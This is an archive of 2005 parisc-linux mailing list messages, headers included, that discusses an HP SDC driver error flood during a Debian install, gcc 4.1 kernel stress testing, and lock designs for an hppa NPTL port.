Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jul 2005 00:16:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 09 Jul 2005 02:16:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C24207D68F;
	Fri,  8 Jul 2005 18:16:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30779-08; Fri, 8 Jul 2005 18:16:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF3D17D691;
	Fri,  8 Jul 2005 18:16:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 415FF7D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Jul 2005 18:16:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30693-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Jul 2005 18:16:40 -0600 (MDT)
Original-Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id AD2B27D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Jul 2005 18:16:40 -0600 (MDT)
Original-Received: from pd2mr7so.prod.shaw.ca (pd2mr7so-qfe3.prod.shaw.ca [10.0.141.10])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IJC00JMK3FRZM50@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 08 Jul 2005 18:16:39 -0600 (MDT)
Original-Received: from pn2ml9so.prod.shaw.ca ([10.0.121.7])
	by pd2mr7so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJC00L5P3FRDEE0@pd2mr7so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 08 Jul 2005 18:16:39 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJC006353FR87@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 08 Jul 2005 18:16:39 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j690GcWs026178	for
	<parisc-linux@lists.parisc-linux.org>; Fri, 08 Jul 2005 18:16:38 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JHK9YjdreSEkVb6WZHQhaXN1IGRvb0AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22893

I have just recently attempted to install Debian 3.1 on an old B132L.  I
have managed to get the install CD to boot, but the kernel is issuing an
infinite stream of error messages from the SDC driver:

"HP SDC: Transaction add failed: transaction already queued?"

At first this was preventing the install CD from booting.  I determined
this was due to syslogd filling the ramdisk by logging the above
message.  I was able to get the install CD to boot into the installation
by making the initial ramdisk size very large (64 meg).  However, even
this fills up withing a few minutes.

I'm not very familliar with the SDC - is there a way to prevent the
above from occuring?

Thanks in advance,

	Kurt Fitzner
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Infinite error message from SDC driver on install
Date: Sat, 09 Jul 2005 15:50:04 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <42D0468C.5010005@excelcia.org>
References: <42CF1766.8030608@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623841 15561 80.91.229.3 (22 Nov 2014 02:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jul 2005 21:50:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 09 Jul 2005 23:50:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFFF67D67B;
	Sat,  9 Jul 2005 15:50:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04772-02; Sat, 9 Jul 2005 15:50:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 866B27D67C;
	Sat,  9 Jul 2005 15:50:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D662A7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jul 2005 15:50:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04108-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Jul 2005 15:50:07 -0600 (MDT)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 457017D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jul 2005 15:50:07 -0600 (MDT)
Original-Received: from pd3mr1so.prod.shaw.ca
	(pd3mr1so-qfe3.prod.shaw.ca [10.0.141.177]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IJD00BN7RBIEV30@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 09 Jul 2005 15:50:06 -0600 (MDT)
Original-Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150])
	by pd3mr1so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJD001FVRBHC2C0@pd3mr1so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 09 Jul 2005 15:50:05 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJD00CA7RBH0S@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Sat, 09 Jul 2005 15:50:05 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j69Lo4Y1000669	for
	<parisc-linux@lists.parisc-linux.org>; Sat, 09 Jul 2005 15:50:05 -0600
In-reply-to: <42CF1766.8030608@excelcia.org>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yyOiYktSeSEkSb6WZHQhaXN1IGRvbwBC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22894

I have found that if I switch to a serial console that after a variable
(from 1 to 50) number of "Transaction add failed" error messages that a
timeout error would occur and no further transaction errors will occur.
This allows me to install Debian.

After installation if I continue to boot with a serial console then I
can boot the Debian installation.  If I try to boot with the standard
graphics console, however, I have a new problem with the SDC driver.
During boot when the SDC driver initializes, it issues the following
message:

"HP SDC MLC: Registering the System Domain Controller's HIL MLC."

After the above message, the kernel hangs and booting is not possible.

I am at my wit's end with this one.  I would really appreciate any
insight that could be offered.

Regards,

    Kurt Fitzner

p.s. In case it is relevant, machine specs are as follows:
HP 9000 B132L workstation
128 MB RAM
Seagate 4.3GB drive on fwscsi.6.0
Panasonic cdrom on sescsi.3.0
No EISA or PCI cards installed.

Kurt Fitzner wrote:
> I have just recently attempted to install Debian 3.1 on an old B132L.  I
> have managed to get the install CD to boot, but the kernel is issuing an
> infinite stream of error messages from the SDC driver:
> 
> "HP SDC: Transaction add failed: transaction already queued?"
> 
> At first this was preventing the install CD from booting.  I determined
> this was due to syslogd filling the ramdisk by logging the above
> message.  I was able to get the install CD to boot into the installation
> by making the initial ramdisk size very large (64 meg).  However, even
> this fills up withing a few minutes.
> 
> I'm not very familliar with the SDC - is there a way to prevent the
> above from occuring?
> 
> Thanks in advance,
> 
> 	Kurt Fitzner
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Sat, 09 Jul 2005 15:42:51 +0000
Lines: 82
Approved: news@gmane.org
Message-ID: <42CFF07B.4000402@tiscali.be>
References: <42B91C1400005075@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623841 15564 80.91.229.3 (22 Nov 2014 02:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:21 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jul 2005 15:43:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 09 Jul 2005 17:43:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E5DC7D66D;
	Sat,  9 Jul 2005 09:43:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03164-10; Sat, 9 Jul 2005 09:43:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 754657D670;
	Sat,  9 Jul 2005 09:43:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C031C7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jul 2005 09:42:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03164-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Jul 2005 09:42:57 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id D0D307D640
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Jul 2005 09:42:56 -0600 (MDT)
Original-Received: from (ip-213-49-77-164.dsl.scarlet.be [213.49.77.164]) 
	by xizor.is.scarlet.be  with ESMTP id j69FgqK10251; 
	Sat, 9 Jul 2005 17:42:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <42B91C1400005075@mail-1-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 25W9Ys8ueSEkfr6WZHQhaXN1IGRvb0Dp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22895

I know it's just a w-a but I also test 2.6.12.2-pa2 on the b180 and it also survive to my stress test for more then a day:
# cat /proc/cpuinfo ; uname -a ; echo " "; uptime
processor       : 0
cpu family      : PA-RISC 1.1e
cpu             : PA7300LC (PCX-L2)
cpu MHz         : 180.000000
model           : 9000/778/B180L
model name      : Merlin L2+ 180 (9000/778/B180L)
hversion        : 0x00005040
sversion        : 0x00000481
I-cache         : 64 KB
D-cache         : 64 KB (WB, 0-way associative)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.60
software id     : 2010134099

Linux patst004 2.6.12.2-pa2-b180 #2 Fri Jul 8 12:15:14 CEST 2005 parisc GNU/Linux

  17:00:15 up 1 day,  4:31,  4 users,  load average: 8.86, 8.69, 8.88

Still have to find why it help a bit (for relatively high I/O)?

Why this g++ test (4.1 and not debian 4.0) make hanging the kernel?

Joel

Joel Soete wrote:
>>>Ok I boot the same and grab recent gcc-4.1 src (about 6h gmt) and build
>>
>>it
>>
>>>with build-tls-tools with following options:
>>>--enable-shared --with-system-zlib --disable-nls --enable-debug --host=hppa-linux
>>>--tar
>>>get=hppa-linux --disable-libmudflap --enable-languages=c,c++
>>
>>Don't use 4.1 
> 
> 
> Ok but that was just  to reproduce the pb you encountered :-)
> 
> 
>>unless you want to help with fixing GCC bugs!
>>
> 
> I would so like but I am just able to drive some test as accurately as possible.
> 
> 
[...]
>>The range above disables gcc's use of the floating-point no clobber
>>registers.
> 
btw which fpr do you called 'no clobber'?

I am a bit confused by those other comment in our entry.S:
...
          /* Floating point registers (FIXME: what do we do with these?)

             %fr0  - %fr3    status/exception, not preserved
             %fr4  - %fr7    arguments
             %fr8  - %fr11   not preserved by C code
             %fr12 - %fr21   preserved by C code
             %fr22 - %fr31   not preserved by C code
           */
...

and according to your answer <http://lists.parisc-linux.org/pipermail/parisc-linux/2005-April/026256.html>
fr12 - fr21 (the preserved by C code) would remain unchanged across a call?

Thanks again,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] Deferred lock init or lock cookies (hppa
	spinlock requirements)
Date: Mon, 11 Jul 2005 09:54:49 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <20050711135449.GH5314__1025.46321363679$1416623841$gmane$org@systemhalted.org>
References: <20050628031928.GP5269@systemhalted.org>
	<42D19A1B.2060409@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623841 15565 80.91.229.3 (22 Nov 2014 02:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:21 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
 parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jul 2005 13:57:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 11 Jul 2005 15:57:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15FA57D665;
	Mon, 11 Jul 2005 07:57:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15943-07; Mon, 11 Jul 2005 07:57:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB4A77D65F;
	Mon, 11 Jul 2005 07:57:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17E3E7D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 07:56:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15943-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 07:56:56 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7588E7D659
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Jul 2005 07:56:54 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DrykE-0005fy-00; Mon, 11 Jul 2005 09:54:50 -0400
Content-Disposition: inline
In-Reply-To: <42D19A1B.2060409@redhat.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6x+gYu1+eSEkW76WZHQhaXN1IGRvbwAP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22896

On Sun, Jul 10, 2005 at 02:58:51PM -0700, Ulrich Drepper wrote:
> I checked in a little bit cleaned up version.

Thanks.

Perhaps I can get your academic opinion on the following?

We are prototyping an NPTL port for hppa. We want to touch as little
core code as possible, and we are thinking of deferred lock
initialization, or scalar cookies.

Deferred Locks:
The core idea is to let the lock acquire fail. On the spin we check to
see if the lock was initialized. Having four lock words means that an
"all zero" lock had been memset to zero, in this case we use a
light-weight-syscall to initialize the lock. The lock held case is
similar.

This saves us from making core code changes that setup the lock to a
different value. It still doesn't save us from using a structure for a
lock word.

Scalar Cookies:
A completely alternative implementation involves using an int lock as a
cookie. The cookies are created dynamically and a lock is materialized
for the cookie.

We have a prototype design using cookies, but we have a couple of issues:

Cookies that are serialized and later reloaded.
	= Requires lock rematerialization.
	= Non-trivial.

Cookies placed in shared memory would need to look at the pshared == 1
case, and place locks into a known named posix shared memory segment.

I know you've had experience with these issue, and I was curious about
your opinion.

c.

NOTE: There is a third alternative, and that is to use the
light-weight-syscall "compare and swap" to do the entire lock
implementation. Performance has not been measured for this case. AFAIK
this is the route HPUX took.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
